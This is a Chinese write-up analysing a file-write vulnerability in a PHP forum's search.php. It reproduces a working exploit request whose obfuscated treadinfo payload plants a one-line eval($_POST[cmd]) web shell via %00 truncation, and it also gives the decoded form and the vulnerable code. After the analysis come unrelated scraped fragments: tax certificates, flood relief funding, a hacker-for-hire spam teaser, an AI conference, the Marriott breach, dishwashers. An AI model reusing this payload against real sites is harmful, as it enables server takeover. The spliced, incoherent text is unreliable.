看到网上有类似的工具,但分析的文章却没找到,听小黑说黑客手册上有,可惜偶没有杂志,所以就抓包然后看下代码,大致分析了一下。这个漏洞很巧妙、也很经典 :) GET /search.php?keyword=By%20CN911&cachefile=an85.php%2500&treadinfo=〈?fputs(fop en(chr(46).chr(47).chr(46).chr(46).chr(47).chr(46).chr(46).chr(47).chr(98).chr(98).chr(115).chr(100).chr(97).chr(116).chr(97).chr(47).chr(99).chr(110).chr(57).chr(49).chr(49).chr(46).chr(112).chr(104).chr(112),w),chr(60).chr(63).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(59).chr(63).chr(62))?〉 HTTP/1.1 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */* Accept-Language: zh-cn Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: 127.0.0.1 这是我抓包的文件,从抓包的文件里可以看出有三个变量:$keyword、$cachefile、$treadinfo。其中$keyword可以为任意关键字;$cachefile必须为一PHP文件,这个就是我们的PHP SHELL后面紧跟着%2500既为%00截断字符;$treadinfo就是生成木马的代码,我没解码,但猜测是把一句话木马写到另一个PHP文件的PHP代码。 PS:$treadinfo内容解码如下: &treadinfo=〈?fputs(fop en(./../../bbsdata/cn911.php,w),〈? eval($_POST[cmd]);?〉)?〉 好了以上就是抓包得到的分析 让我们看下seach.PHP的代码吧,找出漏洞具体在哪儿。 第N行代码如下: $keyword=safeconvert($keyword);//把一些字符过滤掉了$keyword=rawurldecode($keyword); $cachefile=rawurldecode($cachefile); rawurldecode 函数是对已编码的 URL 字符串进行解码,分别对$keyword和$cachefile进行URL 字符串进行解码。rawurldecode这个函数也是关键之一,%00 经过rawurldecode的包装后,在〈PHP5.0下可以饶过GPC=ON起到截断作用。 第N+N行代码如下 ..................... $keywordarray=explode("│",$keyword); $keycount=count($keywordarray); if($sch_area=="C"){ include’./require/schall.php’; }elseif($sch_area=="A"){ for ( $j = 0; $j 〈 $keycount; $j++){ $keywordarray[$j].="|";/*搜索作者准确匹配*/ } include’./require/schpart.php’; }else{ include’./require/schpart.php’; } if (!file_exists("userdata/cache/$cachefile.txt")){ showmsg("没 有 您 要 查 找 的 内 容 〈br〉〈br〉〈br〉〈a href=’search.php’〉继 续 搜 索〈/a〉〈/li〉〈/ul〉"); } ............................... 这里调用了schall.php或schpart.php文件,我们在看这个两个文件schall.php和schpart.php文件最后一行代码是: if($treadinfo) writeover("./userdata/cache/$cachefile.txt",$treadinfo,"ab"); 所以无论调用哪个文件都可以把treadinfo的内容写入缓存文件,因为变量$treadinfo没初始化,可以自定义SHELL代码,而$cachefile又可以自定义一个PHP文件,后面用%00截断TXT。所以这行代码就是把木马写到PHP文件中。 到此漏洞产生的大致过程已经比较明确了 由于本人在网吧看的代码,也没具体测试。其中有些细节没指出,如有错误请指出。也非常佩服漏洞发现者SAIY的观察力。确实是个非常经典的漏洞 :)
在日常生活中,大家可能对纳税证明接触得比较少,那么纳税证明是怎么开出来的呢?现在就跟着小编的脚步去看一下开纳税证明的流程吧~...
新华社北京6月30日电(记者刘夏村)记者30日从应急管理部获悉,财政部、应急管理部29日向四川、贵州、湖南3省紧急预拨中央自然灾害救灾资金1.5亿元,主要用于支持受灾地区抗洪抢险救灾工作。 据悉,6...
一、中国最厉害的叫什么黑客接单流程 1、流程接单但是如果你想在黑客文化中承认黑客的态度,那是个大错误。中国最厉害的叫什么打开摄像头的软件但这是一种有限数量的特殊交易权力,你想要的个人服从不是你的礼物,...
11月14日,由中国人工智能学会(CAAI)主办的2020第十届中国智能产业高峰论坛(CIIS 2020)正式开幕,CAAI理事长戴琼海院士、何积丰院士、何友院士、王恩东院士、陆军院士等多位中外院士、...
11月30日,万豪国际今天表示,旗下喜达屋酒店一个客房预订数据库遭黑客入侵,可能有约5亿顾客信息遭泄露,包括客户的姓名地址电话邮箱护照等,甚至还可能包括部分客户的支付卡号码和有效日期。 201...
家用洗碗机好用吗(洗碗机到底实不实用)发现很多网友对洗碗机还是非常关注的,在某电商网站有不少网友购买洗碗机,但是也有一些网友在徘徊,到底家里要不要购买洗碗机,这洗碗机到底实不实用呢?今天蜜罐蚁小编...